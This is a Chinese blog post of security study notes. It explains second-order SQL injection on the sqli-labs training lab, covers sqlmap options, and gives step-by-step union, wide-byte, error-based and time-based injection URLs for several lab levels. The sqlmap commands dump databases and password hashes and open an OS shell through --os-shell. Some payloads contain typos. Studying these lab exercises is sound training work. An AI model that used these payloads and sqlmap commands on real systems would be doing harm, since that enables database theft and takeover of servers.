百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 优雅编程 > 正文

第六天二次注入sqlmap简单参数(sqlmap注入攻击实例)

sinye56 2024-09-29 21:55 6 浏览 0 评论

二次注入

今天学习二次注入

二次注入原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。

二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

二次注入需要具备的两个条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string,addslahes等等转义)

(2)后端对从数据库中取出恶意数据没有进行过滤直接进行sql语句的拼接

有哪些注入可以绕过addslashes等过滤函数:
1.宽字节2.整型注入3.二次编码注入4.二次注入

复现今天的二次注入

sqli-labs -- 24

先在网站注册个账户,分别是admin’ -- 1

看一下注册代码

抓个包看一下

向PHPSTORM发包

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入

可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’ -- 1,

这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。

数据库中查询的信息。如下:

在登陆页面先用用户admin’ -- 1'进行登陆,登陆后发现可以进行密码修改。

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。

原因:

#在数据库语言中起注释的作用,所以这样子的话,不知不觉中被更改密码的成了admin,而不是admin’ -- 1'。

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。


$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

sqlmap的简单用法

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

sqlmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入)

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Stacked queries SQL injection(可多语句查询注入)

支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

-U参数

-u “URL” : 指定URL,get请求方式

格式sqlmap.py -u

-M 参数

从文本中获取多个目标扫描,但是每 一行只能有一个url.

sqlmap -m urllist.txt

-R 参数

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie,POST数据......等等

设置回显等级

参数:-v 默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。 记住

4、同时显示HTTP请求。 记住

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

data参数:

此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

Cookie 参数

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

--cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”

参数:–cookie、–cookie-del、–drop-set-cookie和–load-cookies

有两种情况会用到这些参数:

要测试的页面只有在登录状态下才能访问,登录状态用cookie识别

想要检测是否存在cookie注入

当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞

(1).“–cookie”和“–cookie-del”

在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:

python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。

User-Agent

参数:–user-agent和–random-agent


默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:

1

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

使用参数“–user-agent”可以指定一个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使用该参数,Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent。注意,在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。


用如下命令统计user-agents.txt行数:

1

cat sqlmap/txt/user-agents.txt | wc -l

结果为4211,当然其中还包含空行、注释等,但总的来说该文件中存储的User-Agent也有4千多个。

当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞,关于“–level”的更多信息见下文。

6.Host

参数:–host

使用该参数可以手动指定HTTP头中的Host值。

当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞,关于“–level”的更多信息见下文。

7.Referer

参数:–referer

使用该参数可以指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。

当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞,关于“–level”的更多信息见下文。

8.额外的HTTP头

参:–headers

使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:

python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

发送的HTTP请求包为:

GET / HTTP/1.1X-B: BHost: 192.168.56.101:8080Accept-encoding: gzip,deflateX-A: AAccept: */*User-agent:

加参数“-v 5”是为了让Sqlamp输出发送的HTTP请求包,便于我们观察。

--delay 参数

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

指定测试参数-p ,

默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。

举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:
-p "id,user-agent"

--skip 参数

在使用--level时,级别很大的时候,但是有些参数不能去测试,那么可以使用--skip参数跳过。

如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:

--level=5 --skip="user-agent,referer"

--level (sqlmap -r 情况下)

共有五个等级,默认为1,sqlmap使用的payload可以在 xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host。

–risk 参数

共有三个风险等级,1-3,

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句(heavy query),

3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

-列数据

--dbs,--users用户名,--passwords密码,--is-dba可以判断当前权限

--technique :指定使用哪种注入类型

速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)

--current-db 当前数据库

--privileges 权限

-D 后面 表名

-D database_name --tables

-D database_name -T table_name --columns

-D database_name -T table_name -C column_1,column_2 --dump

--dump-all 将整个数据库的所有数据进行打包

–dbs 参数

查询当前用的下的所有数据库

该命令用于查询当前用户下的所有数据库,前提是当前用户有权限读取包含所有数据库列表信息的表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -dbs

--current-db 当前数据库

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -current-db

获取数据库中所有表名

查询指定的数据库的所有表名,-D是指定某一个具体的数据库,如果没有指定,则会列出数据库中所有的库的表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -tables

获取表中的字段名:

sqlmap -u URL -D 数据库名 -T user_info –-columns

user_info 是数据库中的一个表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -T users --columns

获取字段内容:

sqlmap -u URL -D 数据库名 -T 表名 -C username,password –-dump

这里查询username和password的值

获取数据库的所有用户:

sqlmap -u URL –-users

前提是当前用户有权限读取包含所有用户的表的权限

获取数据库用户的密码:

sqlmap -u url –passwords

列出数据库用户的密码,前提是当前用户有读取包含用户密码的权限

获取当前网站数据库的用户名称:

sqlmap -u URL –-current-user

sqlmap里怎么清除缓存问题

这里我们用--purge就解决了。

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/

sqlmap (--os-shell)的使用

第二步 扫描注入点

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 --os-shell

第三步 选择网站的语言

第四步 输入网站的绝对路径

Sqli less-31

http://www.sqli.com/Less-31/?id=0&id=2

加单双引号看一下

http://www.sqli.com/Less-31/?id=0&id=2%22

双引号报错 存在注入

\

闭合成功

http://www.sqli.com/Less-31/?id=0&id=4%22)%20--%201

order by 4 报错 存在3列

http://www.sqli.com/Less-31/?id=0&id=4%22)%20order%20by%204--%201

判断显示位

2,3 都是回显位

http://www.sqli.com/Less-31/?id=0&id=4%22)%20union%20select%201,2,3--%201

http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,user(),database()--%201

获取所有库名

http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--%201

获取所有表名

https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--%201

获取所有字段

https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--%201

Sqli less-31

函数addslashes 单双引号 过滤了

存在宽子节注入 GB3212 GBK GB18030 都宽字节

%df 吃掉/

http://www.sqli.com/Less-32/?id=2%df%27%20--%201

获取所有表名联合

http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata s --%201

获取所有报错方法库名

http://www.sqli.com/Less-32/?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database())),1);%00

获取所有报错表名

http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tabls%20where%20table_schema=0x7365637572697479;%00

Sqli less-33

发现‘ 被过滤了

那么 宽字节绕过

?id=-1%df%27%20union%20select%201,database(),3%23

此处过滤使用函数addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')

双引号(")

反斜杠(\)

和32关一样

http://www.sqli.com/Less-33/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20s%20--%201

Sqli less-47

根据提示需要使用sort进行注入

单引号错误

报错显示我们多了一个”将其注释?sort=1’ –+成功

试了一下联合注入报错

http://www.sqli.com/Less-47/?sort=1%27union%20select%201,user(),3%20--%201

尝试使用报错注入

http://www.sqli.com/Less-47/?sort=1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))%20--%201 – + 成功

可以用报错注入

Sqli less-48

http://www.sqli.com/Less-48/?sort=%27-1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))

Print_r(mysql_error());

没有报错显示

尝试一下bool sleep时间注入

大概就这样

select * from users where id="1" and if (ascii(substr(database(),1,1))> 111, sleep(3),1) -- 1

相关推荐

6个接私活的网站,你有技术就有钱

如果觉得有帮助,还请大家帮忙多多转发,点个关注作者:发哥链接:GitHubDaily本篇文章会向大家推荐国内外几个接外包比较靠谱的平台,主旨是贵精不贵多。因此,像「猪x戒」这种会让程序员自贬身价,扰乱...

Java开源可商用的CMS建站系统_java建站源码

Java研发的CMS内容管理系统具有许多优势和特点,包括以下几个方面:跨平台性:Java是一种跨平台的编程语言,可以在不同的操作系统上运行,包括Windows、Linux、Mac等。这意味着Java...

SEO新手建站必看"干货"优质空间和功能选择技巧!

一.空间的分类服务器:远程的高级大型计算机。vps:虚拟服务器。虚拟空间:也称虚拟主机云主机:是在一组集群主机上虚拟出多个类似独立主机的部分,集群中每个主机上都有云主机的一个镜像,从而大大提高了虚拟主...

千字长文教你使用 宝塔面板 快速搭建网站

本文将教大家使用宝塔面板快速搭建网站,云服务器购买以及域名注册部分请自行上网搜索了解,亦可留言联系小编进行咨询。如果是和下方一样本地搭建演示的话,则不需要付费购买域名和主机。宝塔面板的是...

BlueHost香港虚拟主机建站的5个优点

应该是从2006年左右开始,如果我们建站选择国内的主机需要备案手续,而且比较繁琐,且根据各地的不同政策还需要到接入点拍照登记个人信息等,一来比较繁琐,二来我们担心万一网站可能存在的信息问题导致不必要的...

10款好用的Linux服务器网站管理面板推荐

如今在建站时,很多人都会使用管理面板来辅助建站,因为相对于手动安装软件,面板更加简单而且高效,即使新手也能很快学会搭建网站,在本文中我们来推荐几款好用的网站管理面板宝塔面板宝塔面板是一款简单好用的网站...

小白拥有一台云服务器到底能干些什么?成就感爆棚的简单方案!

?云服务器是什么?云服务器(比如阿里云、腾讯云等)是提供给用户的一种虚拟服务器资源,你可以把它看作一台“rent的电脑”,只需要支付少量费用就可以拥有一个功能强大的网络设备。对于小白来说,拥有一...

苹果CMS,苹果CMS采集插件,苹果CMS快速建站(图文教程)

苹果CMS,有着强大的管理功能,管理后台界面大方、操作简单、功能齐全、模块众多、双端管理。苹果CMS加上丰富的系统标签,系统内置了丰富的cms标签并支持thinkphp框架标签完美融合,可以调取系统内...

新手搭建网站、小程序、APP等系统,如何选择服务器?

今天和小蔡和大家说说,新手搭建网站,如何选择服务器?废话不多说,直接来干货。服务器是存放网站源代码的容器,也是运行网站程序的工具,所以是不可或缺的。新手刚接触搭建网站,若不知道怎么去选择一台适合自己...

在海外VPS服务器(Hostinger)上配置宝塔面板的操作步骤

不得不说,宝塔面板是真的好用啊~用上就放不下了,一些海外的免费开源的服务器集成面板(比如CloudPanel)我也用了,不喜欢,真的不如宝塔面板方便耐用。今天聊一下在海外服务器(也包括国内服务器,没有...

干货盘点:每个wordpress站长都推荐完成的60个任务清单

构建和运营wordpress网站包含了很多重要任务,遗漏哪一方面都可能造成或大或小的不良后果,因此我们特别整理了这个任务清单,为你查漏补缺,希望能对您现在运营或者即将开始构建的wordpress网站有...

为什么站长喜欢选择BlueHost主机建站

BlueHost正式成立于2003年,从事主机(虚拟主机)业务至今已经将近十余年,无论从口碑还是用户的评价,我们基本很少看到关于Bluehost主机产品和商家负面的评论信息。从2014年开始,Blue...

自助建站时代来临 半小时成建站达人

“H5”意为第五代HTML,即第五代网页编写语言。自从1991年第一代HTML开始研发以来,网页编写、网站建设一直都属于高端技术行业,网站建设人员都是一些专业型人才,这也意味着网站的建设和维护都需要不...

现代化、开源的 Linux 服务器运维管理面板

1Panel是一个现代化、开源的Linux服务器运维管理面板。1Panel的功能和优势包括:快速建站:深度集成Wordpress和Halo,域名绑定、SSL证书配置等一键搞定;高效管理...

[1Panel]开源,现代化,新一代的 Linux 服务器运维管理面板

测评介绍本期测评试用一下1Panel这款面板。1Panel是国内飞致云旗下开源产品。整个界面简洁清爽,后端使用GO开发,前端使用VUE的Element-Plus作为UI框架,整个面板的管理都是基于do...

取消回复欢迎 发表评论: